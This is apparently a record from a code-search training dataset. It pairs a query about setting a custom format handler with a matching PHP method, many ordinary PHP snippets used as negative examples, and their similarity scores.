SlugOptions::create()\n ->generateSlugsFrom(['public_name'])\n ->saveSlugsTo('slug');\n }" ]
[ "0.7576455", "0.752", "0.74766904", "0.74766904", "0.7429859", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.74120724", "0.738964", "0.738964", "0.7381072", "0.73769414", "0.7337625", "0.73217016", "0.7297892", "0.72941893", "0.72786736", "0.727612", "0.7272299", "0.72676516", "0.7261699", "0.7258411", "0.7258411", "0.7258411", "0.7258411", "0.72537225", "0.72536737", "0.7242343", "0.72357297", "0.72241443", "0.7215835", "0.7208515", "0.7201897", "0.7201897", "0.7201897", "0.7201897", "0.7201897", "0.7201897", "0.7200419", "0.7197313", "0.71965873", "0.7156719", "0.7149232", "0.71335375", "0.71285707", "0.7112755", "0.7091261", "0.7082982", "0.70797265", "0.70757455", "0.70724034", "0.69966984", "0.6906319", "0.69003564", "0.6892261", "0.6887616", "0.68483937", "0.68322885", "0.67020404", "0.6608774", "0.6521218", "0.64151764", "0.62424004", "0.6229189", "0.62215805" ]
0.7333488
46
Sets a custom handler for when a format action is performed
public function setFormatCallback($callback) { $this->formatCallback = $callback; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function registerHandler($format, $callback);", "abstract protected function setFormat();", "public static function usesCustomHandler();", "public static function setFormatterCallback(Closure $callback): void\n {\n self::$formatterCallback = $callback;\n }", "public function action_format_change()\n\t{\n\t\tglobal $context;\n\n\t\t// Pretty basic\n\t\tcheckSession('request');\n\n\t\t// Responding to an ajax request, that is all we do\n\t\t$req = request();\n\t\tif ($req->is_xml())\n\t\t{\n\t\t\tloadTemplate('PortalAdmin');\n\n\t\t\t$format_parameters = array(\n\t\t\t\t'text' => urldecode($_REQUEST['text']),\n\t\t\t\t'from' => $_REQUEST['from'],\n\t\t\t\t'to' => $_REQUEST['to'],\n\t\t\t);\n\n\t\t\t// Do whatever format juggle is requested\n\t\t\t$func = 'formatTo' . strtoupper($format_parameters['to']);\n\t\t\tif (method_exists($this, $func))\n\t\t\t{\n\t\t\t\t$this->$func($format_parameters);\n\t\t\t}\n\n\t\t\t// Return an xml response\n\t\t\tTemplate_Layers::instance()->removeAll();\n\t\t\t$context['sub_template'] = 'format_xml';\n\t\t\t$context['SPortal']['text'] = $format_parameters['text'];\n\t\t}\n\t}", "public function on($format) {\n\t\t$this->formats[] = Format::factory($format);\n\t\treturn $this;\n\t}", "private function setMoneyFormatterCallback(): void\n {\n Money::setFormatterCallback(function (Money $money) {\n $currency = $this->getCurrencyOf($money->currency);\n return $this->moneyFormatter->format($money->amount, $currency);\n });\n }", "public function setFormatter($formatter)\n {\n $this->_formatter = $formatter; \n }", "public function setHandler($handler)\n {\n if (!in_array('Rx_Json_Handler_Interface', class_implements($handler))) {\n throw new Rx_Json_Exception('JSON handler should implement Rx_Json_Handler_Interface interface');\n }\n $this->_handler = $handler;\n }", "public function setFormat($value) {}", "public function modified($format = null, $handler = null) {\n return f::modified($this->root, $format, $handler ? $handler : $this->kirby->options['date.handler']);\n }", "public function set_matched_handler($handler)\n {\n }", "public function setFormat($format) { $this->_format = $format; }", "public function setHandler(callable $handler)\n {\n $this->handler = $handler;\n }", "public function setFormat($format);", "public function setFormat($format);", "public function setFormat($format);", "public function __invoke(Logger $logger)\n {\n\n foreach ($logger->getHandlers() as $handler) {\n $handler->setFormatter(\n new LineFormatter(\n \"[%datetime%] app.%level_name%: %message% . %context%\\n\"\n )\n );\n }\n }", "public function setFormatter($name, $formatter)\n {\n if (class_exists('Closure') && method_exists('Closure','bind')) {\n Closure::bind($formatter, $this);\n }\n $this->formatters[ $name ] = $formatter;\n }", "function _on_handle($handler, $args)\n {\n $this->_request_data['schemadb'] = midcom_helper_datamanager2_schema::load_database($this->_config->get('schemadb'));\n $this->_request_data['schemadb_location'] = midcom_helper_datamanager2_schema::load_database($this->_config->get('schemadb_location'));\n $this->_request_data['prefix'] = $_MIDCOM->get_context_data(MIDCOM_CONTEXT_ANCHORPREFIX);\n $this->_request_data['datamanager'] = new midcom_helper_datamanager2_datamanager($this->_request_data['schemadb']);\n $this->_request_data['datamanager_location'] = new midcom_helper_datamanager2_datamanager($this->_request_data['schemadb_location']);\n \n $_MIDCOM->add_link_head(array('rel' => 'stylesheet', 'type' => 'text/css', 'href' => MIDCOM_STATIC_URL . '/fi.kilonkipinat.events/fi_kilonkipinat_events.css', 'media' => 'all'));\n \n $_MIDCOM->add_link_head\n (\n array\n (\n 'rel' => 'alternate',\n 'type' => 'application/rss+xml',\n 'title' => $this->_l10n->get('rss 2.0 feed'),\n 'href' => $_MIDCOM->get_context_data(MIDCOM_CONTEXT_ANCHORPREFIX) . 'rss.xml',\n )\n );\n\n $this->_populate_node_toolbar();\n\n return true;\n }", "public function ProcessCustomHandlers (& $handlers = []);", "public function setLogHandler(callable $handler)\n\t{\n\t\tself::$__handler = $handler;\n\t}", "public static function formatting_process() {}", "protected function handle() {\n\t\t\t$arrHandlers = array(\n\t\t\t\t'latest'\t\t=> 'GetLatest',\n\t\t\t\t'filter'\t\t=> 'GetFiltered',\n\t\t\t\t'my'\t\t\t=> 'GetMine',\n\t\t\t\t\n\t\t\t\t'add'\t\t\t=> 'DoAdd',\n\t\t\t\t'delete'\t\t=> 'DoDelete'\n\t\t\t);\n\t\t\t\n\t\t\t$strSegment = str_replace('.' . $this->strFormat, '', $this->objUrl->getSegment(2));\n\t\t\tif (!empty($arrHandlers[$strSegment])) {\n\t\t\t\t$strMethod = $this->strMethodPrefix . $arrHandlers[$strSegment];\n\t\t\t\t$this->$strMethod();\n\t\t\t} else {\n\t\t\t\tparent::handle();\n\t\t\t}\n\t\t}", "private function formatter(): callable\n {\n if (0 !== stripos(PHP_OS, 'WIN')) {\n return function (array $matches): string {\n $str = (string) preg_replace(self::REGEXP_POSIX_PLACEHOLDER, ';', (string) $matches[1]);\n\n return chr(27).'['.strtr($str, self::POSIX_COLOR_CODES).'m';\n };\n }\n\n return function (array $matches): string {\n return (string) $matches[0];\n };\n }", "public function setHandler(\\Phalconry\\Mvc\\Application\\HandlerInterface $handler);", "public function setFormat($format){\n\t\t$this->_format = $format;\n\t}", "public function setFormat($format) {\n\t\tif ($format !== 'raw') {\n\t\t\t$format = 'parsed';\n\t\t}\n\t\t$this->format = $format;\n\t}", "public function addFormat($format)\n {\n $this->format = $format;\n }", "public function setHandlerName($handlerName);", "public function __invoke(callable $handler)\n {\n return function (RequestInterface $request, array $options) use ($handler) {\n $request = $request->withHeader('Accept', 'application/json');\n $request = $request->withHeader('Content-Type', 'application/json');\n return $handler($request, $options);\n };\n }", "public function setFormat( $format ) {\n\t\t\t$this->_format = $format;\n\t\t\t$this->_data['format'] = $this->_format;\n\t\t}", "public function setErrorHandler($handler)\n {\n }", "public function setDefaultHandler($handlerName);", "public function addHandler(Handler $handler);", "public function setErrorsHandler(callable $handler)\n {\n }", "public function setHandler($handler)\n {\n $this->handler = $handler;\n return $this;\n }", "public function get_handler()\n {\n }", "function register_demo_handler($hook, $type, $return, $params) {\n\t$label = elgg_echo('csv_process:handler:label');\n\t$handler = __NAMESPACE__ . '\\\\demo_handler';\n\t\n\t$return[$handler] = $label;\n\t\n\treturn $return;\n}", "public function format($format);", "function formatRow(){\n $this->hook('formatRow');\n }", "function ht_admin_post_format_switcher($hook) {\r\n\tif ($hook == 'post.php' || $hook == 'post-new.php') {\r\n\t\twp_enqueue_script('pf-post-meta', get_template_directory_uri() . '/framework/js/post-format-switcher.js', array( 'jquery' ));\r\n\t}\r\n}", "protected function configureOutputFormat()\n {\n $requestFormat = $this->request->input('format');\n\n $this->format = config('transfugio.http.format');\n\n if ($this->request->wantsJson()) {\n $this->format = 'json_accept';\n }\n\n if (in_array($requestFormat, ['json', 'xml', 'yaml', 'html'])) {\n $this->format = $requestFormat;\n }\n }", "function handle($args)\n {\n parent::handle($args);\n\n if (!in_array($this->format, array('xml', 'json', 'atom'))) {\n // TRANS: Client error displayed when coming across a non-supported API method.\n $this->clientError(_('API method not found.'), 404);\n return;\n }\n\n switch ($_SERVER['REQUEST_METHOD']) {\n case 'GET':\n $this->showNotice();\n break;\n case 'DELETE':\n $this->deleteNotice();\n break;\n default:\n // TRANS: Client error displayed calling an unsupported HTTP error in API status show.\n $this->clientError(_('HTTP method not supported.'), 405);\n return;\n }\n }", "public function setHandler($handler)\n\t{\n\t\t$this->handler = $handler;\n\n\t\treturn $this;\n\t}", "abstract public function handler() : void;", "public function getFormatter()\n {\n }", "public function getFormatter()\n {\n }", "function index() {\n\t\t$hook_link = $this->hook('format');\n\t\tif( $hook_link ) { require($hook_link); }\t\t\n\t}", "public function getFormatter();", "public function __construct($handler)\n {\n $this->handler = $handler;\n }", "final private function markAsHandled(hookHandler $handler) {\n\t\t$this->handled[spl_object_hash($handler)] = true;\n\t}", "function get_handler() {\r\n }", "function defineHandlers() {\n EventsManager::listen('on_rawtext_to_richtext', 'on_rawtext_to_richtext');\n EventsManager::listen('on_daily', 'on_daily');\n EventsManager::listen('on_wireframe_updates', 'on_wireframe_updates');\n }", "public function setFormat($format)\n {\n $this->format = $format;\n }", "public function setFormat($format)\n {\n $this->format = $format;\n }", "public function aim_register_handler()\r\n\t{\r\n\t\tforeach (func_get_args() as $arg) {\r\n\t\t\tif (is_array($arg) && count($arg) >= 1) {\r\n\t\t\t\tforeach ($arg as $k => $v) {\r\n if (empty($v[1]) || is_null($v[1]) || !isset($v[1])) $v[1] = CLIENT_DEFAULT;\r\n $k = strtolower($k);\r\n\t\t\t\t\t$this->core->handlers[$k] = array('name' => $k, 'callback' => $v[0], 'type' => $v[1]);\r\n\t\t\t\t} \r\n\t\t\t} else {\r\n\t\t\t\t$this->core->aim_debug('Empty/invalid array cannot be a handler in ' . __FUNCTION__, AIM_WARN);\r\n\t\t\t} \r\n\t\t}\r\n\t}", "protected function process_field_formats($data, $format)\n {\n }", "public function setErrorFormatter(callable $errorFormatter)\n {\n }", "public function handler(HandlerInterface $handler);", "function customformat() {\n return false;\n }", "function hook_file_formatter_info_alter(&$info) {\n // @todo Add example.\n}", "protected function setFormatters()\n {\n $currentPage = $this->dataProvider->getPagination()->getPage() + 1;\n $response = Yii::$app->response;\n $formatter = new UrlsetResponseFormatter([\n 'gzip' => $this->gzip,\n 'gzipFilename' => 'sitemap.' . $currentPage . '.xml.gz',\n ]);\n $xmlns = $this->xmlns;\n if (null === $xmlns) {\n $xmlns = call_user_func([$this->urlClass, 'getXmlns']);\n }\n $formatter->addXmlns($xmlns);\n $response->formatters[UrlsetResponseFormatter::FORMAT_URLSET] = $formatter;\n $response->format = UrlsetResponseFormatter::FORMAT_URLSET;\n }", "public function setFormat(Format $format)\n\t{\n\t\t$this->format=$format; \n\t\t$this->keyModified['format'] = 1; \n\n\t}", "public function SetFilter ($handler, $direction = \\MvcCore\\IRoute::CONFIG_FILTER_IN);", "function fieldFormat($fieldNo, $format){\n\t\t// add the field format to the fieldFormats array\n\t\t$this->fieldFormats[$fieldNo] = $format;\n\t}", "public function getDefaultHandler();", "public function getFormat($format){\n\t\t$this->_format = $format;\n\t}", "function format()\r\n\t{\r\n\t\treturn call_user_func($this->callback);\r\n\t}", "public function setRequestOnHandler($request)\n {\n }", "public function format() {\r\n\t\t$this->resource->format();\r\n\t}", "public function addFormats($formats) {\n $this->formats = $formats;\n }", "public function register(Handler $handler);", "public function addHandler(string $command, string $handler);", "public function setFormat(string $format)\n {\n if (Validation::isValidFormat($format)) {\n $this->config->format = $format;\n } else {\n throw new CustomException('Invalid format');\n }\n }", "public static function handle (array $defaults, callable $handler) : string {\n\t\t$params = self::$is_wired\n\t\t\t? array_merge ($defaults, json_decode (self::$controller->get_put_data (), true))\n\t\t\t: $defaults;\n\t\t\n\t\tif (self::$is_wired) {\n\t\t\t$res = $handler ($params);\n\t\t\t\n\t\t\tif ($res === false) {\n\t\t\t\terror_log ('Error (' . self::$error_code . '): ' . self::$error);\n\t\t\t\tself::$controller->header ('HTTP/1.1 ' . self::$error_code . ' ' . self::$error);\n\t\t\t\treturn json_encode (['code' => self::$error_code, 'error' => self::$error]);\n\t\t\t} elseif (! $res) {\n\t\t\t\t$res = $params; // Unmodified but forgot to return\n\t\t\t}\n\t\t\t\n\t\t\treturn json_encode ($res);\n\t\t}\n\t\t\n\t\treturn self::_render (trim (self::$controller->uri, '/'), $params);\n\t}", "public function register(Handler $handler) : void;", "public function __set( $formatName, ezcConsoleOutputFormat $val )\n {\n $this->formats[$formatName] = $val;\n }", "public function addFormatter($format, FormatterInterface $formatter)\n {\n $this->formatters[$format] = $formatter;\n }", "public function customHandle()\n {\n\n $this->makeFolders();\n\n $this->scaffoldEventFiles();\n $this->scaffoldListenerFiles();\n\n }", "public static function setFormatter(Formatter $formatter)\n {\n static::$formatter = $formatter;\n }", "public function __construct(\n Handler $handler\n ) {\n $this->handler = $handler;\n }", "function enableFormatting($format = true)\n {\n $this->formatFields = $format;\n }", "protected function parseMiddleware()\n {\n return function (callable $handler) {\n return function (Request $request, array $options) use ($handler) {\n // Skip if option 'parse' isn't set\n if (empty($options['parse'])) return $handler($request, $options);\n\n $options['http_errors'] = false;\n $request = $request->withHeader('Accept', \"{$options['parse']}; q=1.0, text/plain; q=0.5\");\n \n $promise = $handler($request, $options);\n \n return $promise->then(function(Response $response) use ($request, $options) {\n return $this->parseResponse($request, $response, $options);\n });\n };\n };\n }", "function AddHandler(&$handler)\r\n\t{\r\n\t\t$this->handlers[] = $handler;\r\n\t}", "function processFormatString()\n\t{\n\t\t// of date followed by event title.\n\t\tif ($this->customFormatStr == null)\n\t\t\t$this->customFormatStr = $this->defaultfFormatStr;\n\t\telse\n\t\t{\n\t\t\t$this->customFormatStr = preg_replace('/^\"(.*)\"$/', \"\\$1\", $this->customFormatStr);\n\t\t\t$this->customFormatStr = preg_replace(\"/^'(.*)'$/\", \"\\$1\", $this->customFormatStr);\n\t\t\t// escape all \" within the string\n\t\t\t// $customFormatStr = preg_replace('/\"/','\\\"', $customFormatStr);\n\t\t}\n\n\t\t// strip out event variables and run the string thru an html checker to make sure\n\t\t// it is legal html. If not, we will not use the custom format and print an error\n\t\t// message in the module output. This functionality is not here for now.\n\t\t// parse the event variables and reformat them into php syntax with special handling\n\t\t// for the startDate and endDate fields.\n\t\t//asdbg_break();\n\t\t// interpret linefeed as <br /> if not disabled\n\t\tif (!$this->modparams->get(\"modlatest_ignorebr\", 0))\n\t\t{\n\t\t\t$customFormat = nl2br($this->customFormatStr);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$customFormat = $this->customFormatStr;\n\t\t}\n\n\t\t$keywords = array(\n\t\t\t'content', 'eventDetailLink', 'createdByAlias', 'color',\n\t\t\t'createdByUserName', 'createdByUserEmail', 'createdByUserEmailLink',\n\t\t\t'eventDate', 'endDate', 'startDate', 'title', 'category', 'calendar',\n\t\t\t'contact', 'addressInfo', 'location', 'extraInfo',\n\t\t\t'countdown', 'categoryimage', 'duration', 'siteroot', 'sitebase', 'allCategoriesColoured', 'allCategorieSlugs',\n\t\t\t'today', 'tomorrow'\n\t\t);\n\t\t$keywords_or = implode('|', $keywords);\n\t\t$whsp = '[\\t ]*'; // white space\n\t\t$datefm = '\\([^\\)]*\\)'; // date formats\n\t\t//$modifiers\t= '(?::[[:alnum:]]*)';\n\n\t\t$pattern = '/(\\$\\{' . $whsp . '(?:' . $keywords_or . ')(?:' . $datefm . ')?' . $whsp . '\\})/'; // keyword pattern\n\t\t$cond_pattern = '/(\\[!?[[:alnum:]]+:[^\\]]*])/'; // conditional string pattern e.g. [!a: blabla ${endDate(%a)}]\n\t\t// tokenize conditional strings\n\t\t$splitTerm = preg_split($cond_pattern, $customFormat, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);\n\n\t\t$this->splitCustomFormat = array();\n\t\tforeach ($splitTerm as $key => $value)\n\t\t{\n\t\t\tif (preg_match('/^\\[(.*)\\]$/', $value, $matches))\n\t\t\t{\n\t\t\t\t// remove outer []\n\t\t\t\t$this->splitCustomFormat[$key]['data'] = $matches[1];\n\t\t\t\t// split condition\n\t\t\t\tpreg_match('/^([^:]*):(.*)$/', $this->splitCustomFormat[$key]['data'], $matches);\n\t\t\t\t$this->splitCustomFormat[$key]['cond'] = $matches[1];\n\t\t\t\t$this->splitCustomFormat[$key]['data'] = $matches[2];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->splitCustomFormat[$key]['data'] = $value;\n\t\t\t}\n\t\t\t// tokenize into array\n\t\t\t$this->splitCustomFormat[$key]['data'] = preg_split($pattern, $this->splitCustomFormat[$key]['data'], -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);\n\t\t}\n\n\t\t// cleanup, remove white spaces from key words, seperate date parm string and modifier into array;\n\t\t// e.g. ${ keyword ( 'aaaa' ) } => array('keyword', 'aaa',)\n\t\tforeach ($this->splitCustomFormat as $ix => $yy)\n\t\t{\n\t\t\tforeach ($this->splitCustomFormat[$ix]['data'] as $keyToken => $customToken)\n\t\t\t{\n\t\t\t\tif (preg_match('/\\$\\{' . $whsp . '(' . $keywords_or . ')(' . $datefm . ')?' . $whsp . '}/', trim($customToken), $matches))\n\t\t\t\t{\n\t\t\t\t\t$this->splitCustomFormat[$ix]['data'][$keyToken] = array();\n\t\t\t\t\t$this->splitCustomFormat[$ix]['data'][$keyToken]['keyword'] = stripslashes($matches[1]);\n\t\t\t\t\tif (isset($matches[2]))\n\t\t\t\t\t{\n\t\t\t\t\t\t// ('aaa') => aaa\n\t\t\t\t\t\t$this->splitCustomFormat[$ix]['data'][$keyToken]['dateParm'] = preg_replace('/^\\([\"\\']?(.*)[\"\\']?\\)$/', \"\\$1\", stripslashes($matches[2]));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->splitCustomFormat[$ix]['data'][$keyToken] = stripslashes($customToken);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}", "public function get_matched_handler()\n {\n }", "private function setFormat($format)\n {\n switch ($format) {\n case 'yml':\n case 'xml':\n case 'php':\n case 'annotation':\n $this->format = $format;\n break;\n default:\n $this->format = 'yml';\n break;\n }\n }", "private function setFormat($format)\n {\n switch ($format) {\n case 'yml':\n case 'xml':\n case 'php':\n case 'annotation':\n $this->format = $format;\n break;\n default:\n $this->format = 'yml';\n break;\n }\n }", "protected function SetFormatCallback($sCallback)\n {\n $this->sFormatCallbackFunction = $sCallback;\n }", "protected function initFormat() {\n\t\tif (!isset($_GET['format'])) return;\n\t\t$this->setContentType($_GET['format']);\n\t\t$this->format = $_GET['format'];\n\t\tDocument::init($this->format);\n\t}", "abstract public function handler(string $message);", "public function getHandler() {}", "function setItemImportHandler(&$itemImportHandler) {\n\t\t$this->_itemImportHandler = &$itemImportHandler;\n\t}", "private function _compileFormats()\n\t{\n\t\t$this->formats = new Format\\Registry($this);\n\t\t\n\t\tforeach ($this->app->modules() as $module) {\n\t\t\tif ($module instanceof Format\\ProviderInterface) {\n\t\t\t\t$module->initResponseFormats($this->formats);\n\t\t\t}\n\t\t}\n\t}", "abstract protected function createHandler();", "function setContentHandler(&$ch)\n {\n $this->_ch = &$ch;\n }", "public function getHandler()\n {\n }", "public function setFormatter($formatter)\n {\n require_once 'Zend/Log/Exception.php';\n throw new Zend_Log_Exception(get_class() . ' does not support formatting');\n }", "abstract protected function registerHandlers();" ]
[ "0.73606676", "0.5949215", "0.5928395", "0.5862488", "0.5758162", "0.57573175", "0.56595564", "0.5631509", "0.5595243", "0.5593832", "0.5585084", "0.55575776", "0.5525477", "0.54964393", "0.5490902", "0.5490902", "0.5490902", "0.5485151", "0.5475513", "0.5468595", "0.5442699", "0.540541", "0.54022235", "0.53896", "0.52993935", "0.5278179", "0.5273569", "0.52717406", "0.5257789", "0.5229365", "0.5229058", "0.5184642", "0.5175103", "0.5174164", "0.5144586", "0.5126122", "0.5125541", "0.5119291", "0.5099615", "0.50905704", "0.50821364", "0.5078337", "0.5048136", "0.50450736", "0.5038773", "0.50296676", "0.50240326", "0.50240326", "0.5018021", "0.50155586", "0.50096697", "0.4996845", "0.49941653", "0.49816", "0.4980614", "0.4980614", "0.4978667", "0.4976353", "0.4931022", "0.49038532", "0.49036413", "0.49007335", "0.48843595", "0.48818496", "0.48794693", "0.48766935", "0.48764423", "0.48755527", "0.48531932", "0.48294523", "0.48232174", "0.48107085", "0.4789406", "0.4787172", "0.47869074", "0.47856525", "0.47833747", "0.4776929", "0.47532788", "0.47412744", "0.473769", "0.4729324", "0.47275674", "0.47237143", "0.47219127", "0.47197038", "0.4716579", "0.47037444", "0.47037444", "0.47029436", "0.47017252", "0.46853256", "0.46843636", "0.468267", "0.46802187", "0.46789435", "0.466821", "0.4653445", "0.46476746", "0.46447054" ]
0.5119761
37
Retrieves/Sets up the state object used to store and retrieve information about the current paging details of this GridField
protected function getFormatState(GridField $gridField) { $state = $gridField->State->Formatter; if(!(string)$state->current && !(string)$state->hasloaded) { $state->current = $this->getDefault(); $state->hasloaded = 1; } return $state; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function populateState()\n {\n //get states\n $app = \\Cobalt\\Container::get('app');\n\n //determine view so we set correct states\n $view = $app->input->get('view');\n\n // Get pagination request variables\n $limit = $app->getUserStateFromRequest($view.'_limit','limit',10);\n $limitstart = $app->getUserStateFromRequest($view.'_limitstart','limitstart',0);\n\n // In case limit has been changed, adjust it\n $limitstart = ($limit != 0 ? (floor($limitstart / $limit) * $limit) : 0);\n\n $this->state->set($view.'_limit', $limit);\n $this->state->set($view.'_limitstart', $limitstart);\n\n //set default filter states for reports\n $filter_order = $app->getUserStateFromRequest('Company.filter_order','filter_order','c.name');\n $filter_order_Dir = $app->getUserStateFromRequest('Company.filter_order_Dir','filter_order_Dir','asc');\n $company_filter = $app->getUserStateFromRequest('Company.'.$view.'_name','company_name',null);\n\n //set states for reports\n $this->state->set('Company.filter_order', $filter_order);\n $this->state->set('Company.filter_order_Dir', $filter_order_Dir);\n $this->state->set('Company.'.$view.'_name', $company_filter);\n }", "function state_fields() {\n\tglobal $_STATE;\n\n\t$_STATE->fields = array( //pagename,DBname,load from DB?,write to DB?,required?,maxlength\n\t\t\t\"Name\"=>new FIELD(\"txtName\",\"name\",TRUE,TRUE,TRUE,64),\n\t\t\t\"Description\"=>new AREA_FIELD(\"txtDesc\",\"description\",TRUE,TRUE,TRUE,256),\n\t\t\t\"Inactive As Of\"=>new DATE_FIELD(\"txtInactive\",\"inactive_asof\",TRUE,TRUE,FALSE,0),\n\t\t\t);\n}", "function getPagingParameters()\n {\n }", "public function populateState()\n {\n //get states\n $app = \\Cobalt\\Container::get('app');\n $view = $this->app->input->get('view');\n\n //TODO add these limits to the switch statement to support multiple pages and layouts\n // Get pagination request variables\n $limit = $app->getUserStateFromRequest($view.'_limit','limit',10);\n $limitstart = $app->getUserStateFromRequest($view.'_limitstart','limitstart',0);\n\n // In case limit has been changed, adjust it\n $limitstart = ($limit != 0 ? (floor($limitstart / $limit) * $limit) : 0);\n\n $this->state->set($view.'_limit', $limit);\n $this->state->set($view.'_limitstart', $limitstart);\n\n //set default filter states for reports\n $filter_order = $app->getUserStateFromRequest('People.filter_order','filter_order','p.last_name');\n $filter_order_Dir = $app->getUserStateFromRequest('People.filter_order_Dir','filter_order_Dir','asc');\n $people_filter = $app->getUserStateFromRequest('People.'.$view.'_name','name',null);\n\n //set states for reports\n $this->state->set('People.filter_order',$filter_order);\n $this->state->set('People.filter_order_Dir',$filter_order_Dir);\n $this->state->set('People.filter_order_Dir',$filter_order_Dir);\n $this->state->set('People.'.$view.'_name',$people_filter);\n\n }", "public function getPagerSettings();", "protected function populateState()\n\t{\n\t}", "protected function populateState()\n\t{\n\t}", "protected function populateState()\n {\n parent::populateState();\n\n $app = JFactory::getApplication();\n /** @var $app JApplicationSite */\n\n // Get the pk of the record from the request.\n $itemId = $app->input->getInt(\"id\");\n $this->setState($this->getName() . '.id', $itemId);\n\n // Load the parameters.\n $value = $app->getParams($this->option);\n $this->setState('params', $value);\n\n }", "public function getPageStatus(){\n return $this->pageStatus;\n }", "public function getInvoiceState()\n {\n return $this->getParameter('invoiceState');\n }", "protected function populateState() {\n\t $app = JFactory::getApplication('com_extporter');\n\t\n\t // Load state from the request userState on edit or from the passed variable on default\n\t if (JFactory::getApplication()->input->get('layout') == 'edit') {\n\t $id = JFactory::getApplication()->getUserState('com_extporter.edit.extensionsdetails.extid');\n\t } else {\n\t $id = JFactory::getApplication()->input->get('extid');\n\t JFactory::getApplication()->setUserState('com_extporter.edit.extensionsdetails.extid', $id);\n\t }\n\t $this->setState($this->getName().'.extid', $id);\n\t\n\t // Load the parameters.\n\t $params = $app->getParams();\n\t $params_array = $params->toArray();\n\t if (isset($params_array['item_id'])) {\n\t $this->setState($this->getName().'.extid', $params_array['item_id']);\n\t }\n\t $this->setState('params', $params);\n\t}", "public function getInternalState()\n {\n return $this->internalState;\n }", "protected function populateState() {\r\n\t\t// Try to get ITEM primary key (pk) \r\n\t\t\r\n\t\t// a. from edit form\r\n\t\t$data = JRequest::get( 'post' );\r\n\t\t$pk = @$data['jform']['id'];\r\n\t\t\r\n\t\t// b. from variable 'id' of the http request (e.g. item view)\r\n\t\tif(!$pk) {\r\n\t\t\t$pk = JRequest::getVar('id', 0, '', 'int');\r\n\t\t}\r\n\t\t\r\n\t\t// c. from variable 'cid[]' of the http request (e.g. edit item TASK)\r\n\t\tif(!$pk) {\r\n\t\t\t$cid = JRequest::getVar( 'cid', array(0), '', 'array' );\r\n\t\t\tJArrayHelper::toInteger($cid, array(0));\r\n\t\t\t$pk = $cid[0];\r\n\t\t}\r\n\t\t\r\n\t\t// Initialise variables.\r\n\t\t$this->setState($this->getName().'.id', $pk);\r\n\t\t$this->setId($pk);\r\n\r\n\t\t// Load the parameters.\r\n\t\t$value = JComponentHelper::getParams($this->option);\r\n\t\t$this->setState('params', $value);\r\n\t}", "protected function populateState()\n\t{\n\t\tparent::populateState();\n\n\t\t$this->setState('list.limit', 20);\n\t}", "protected function populateState() {\n\t\t\n\t $app\t = JFactory::getApplication();\n\t\t/** @var $app JSite **/\n\t \n\t\t$params\t = $app->getParams($this->option);\n\t\t$this->setState('params', $params);\n\t\t\n\t\t// Visitor\n\t\t$visitorId = (int)JFactory::getUser()->get(\"id\");\n\t\t$this->setState($this->option.'.visitor.id', $visitorId);\n\t\t\n\t\t$userId = $app->input->get->getInt(\"id\");\n\t\tif(!$userId) {\n\t\t $userId = (int)JFactory::getUser()->get(\"id\");\n\t\t}\n\t\t$this->setState($this->option.'.profile.user_id', $userId);\n\t\t\n\t $value = ($userId == $visitorId) ? true : false;\n\t $this->setState($this->option.'.visitor.is_owner', $value);\n\t}", "public function getPageStatus()\n {\n return $this->pageStatus;\n }", "private function getPagination(){\n\t\t$pager=new pager();\n\t\t$pager->isAjaxCall($this->iAmAjax);\n\t\t$pager->set(\"type\", \"buttons\");\n\t\t$pager->set(\"gridId\",$this->id);\n\t\t$pager->set(\"pages\", $this->pages);\n\t\t$pager->set(\"currPage\", $this->currPage);\n\t\t$pager->set(\"maxNumPages\", $this->maxNumPages);\n\t\t$pager->set(\"maxNumPages\", $this->maxNumPages);\n\t\treturn $pager->render(true);\n\t}", "protected function populateState()\n\t{\n\t\t// Get the application object.\n\t\t$params = JFactory::getApplication()->getParams('com_privacy');\n\n\t\t// Load the parameters.\n\t\t$this->setState('params', $params);\n\t}", "public function getState()\n {\n return $this->getParameter('billingState');\n }", "protected function _getState()\n {\n return $this->state;\n }", "public function get_state()\n {\n return $this->_state;\n }", "public function getPager() \n {\n \n return ( isset ( $_REQUEST[\"{$this->_paginator}\"] ) ) \n ? (int) $_REQUEST[\"{$this->_paginator}\"] \n : 0 \n ; \n \n }", "function _setModelState()\r\n {\r\n $state = parent::_setModelState(); \r\n $app = JFactory::getApplication();\r\n $model = $this->getModel( $this->get('suffix') );\r\n $ns = $this->getNamespace();\r\n\r\n $state['filter_id_from'] = $app->getUserStateFromRequest($ns.'id_from', 'filter_id_from', '', '');\r\n $state['filter_id_to'] = $app->getUserStateFromRequest($ns.'id_to', 'filter_id_to', '', '');\r\n $state['filter_name'] = $app->getUserStateFromRequest($ns.'name', 'filter_name', '', '');\r\n $state['filter_enabled'] = $app->getUserStateFromRequest($ns.'enabled', 'filter_enabled', '', '');\r\n $state['filter_taxclass'] = $app->getUserStateFromRequest($ns.'taxclass', 'filter_taxclass', '', '');\r\n $state['filter_shippingtype'] = $app->getUserStateFromRequest($ns.'shippingtype', 'filter_shippingtype', '', '');\r\n \r\n foreach (@$state as $key=>$value)\r\n {\r\n $model->setState( $key, $value ); \r\n }\r\n return $state;\r\n }", "function getState()\n {\n\t\treturn $this->_state;\n }", "public function getCurrentPageData() {}", "public function getPageNumber()\n {\n return $this->pageNumber;\n }", "public function getPageNumber()\n {\n return $this->pageNumber;\n }", "function getState() {\n return $this->state;\n }", "function getState()\r\n\t{\r\n\t\treturn $this->state;\r\n\t}", "static function state() {\n\t\tif ( self::$state === null ) {\n\t\t\tself::$state = WPGradeMeta::instance( array() );\n\t\t}\n\n\t\treturn self::$state;\n\t}", "protected function getPager(){\n \n return $this->pager;\n \n }", "public function populateState()\n {\n //get states\n $app = \\Cobalt\\Container::fetch('app');\n $filter_order = $app->getUserStateFromRequest('Source.filter_order','filter_order','s.name');\n $filter_order_Dir = 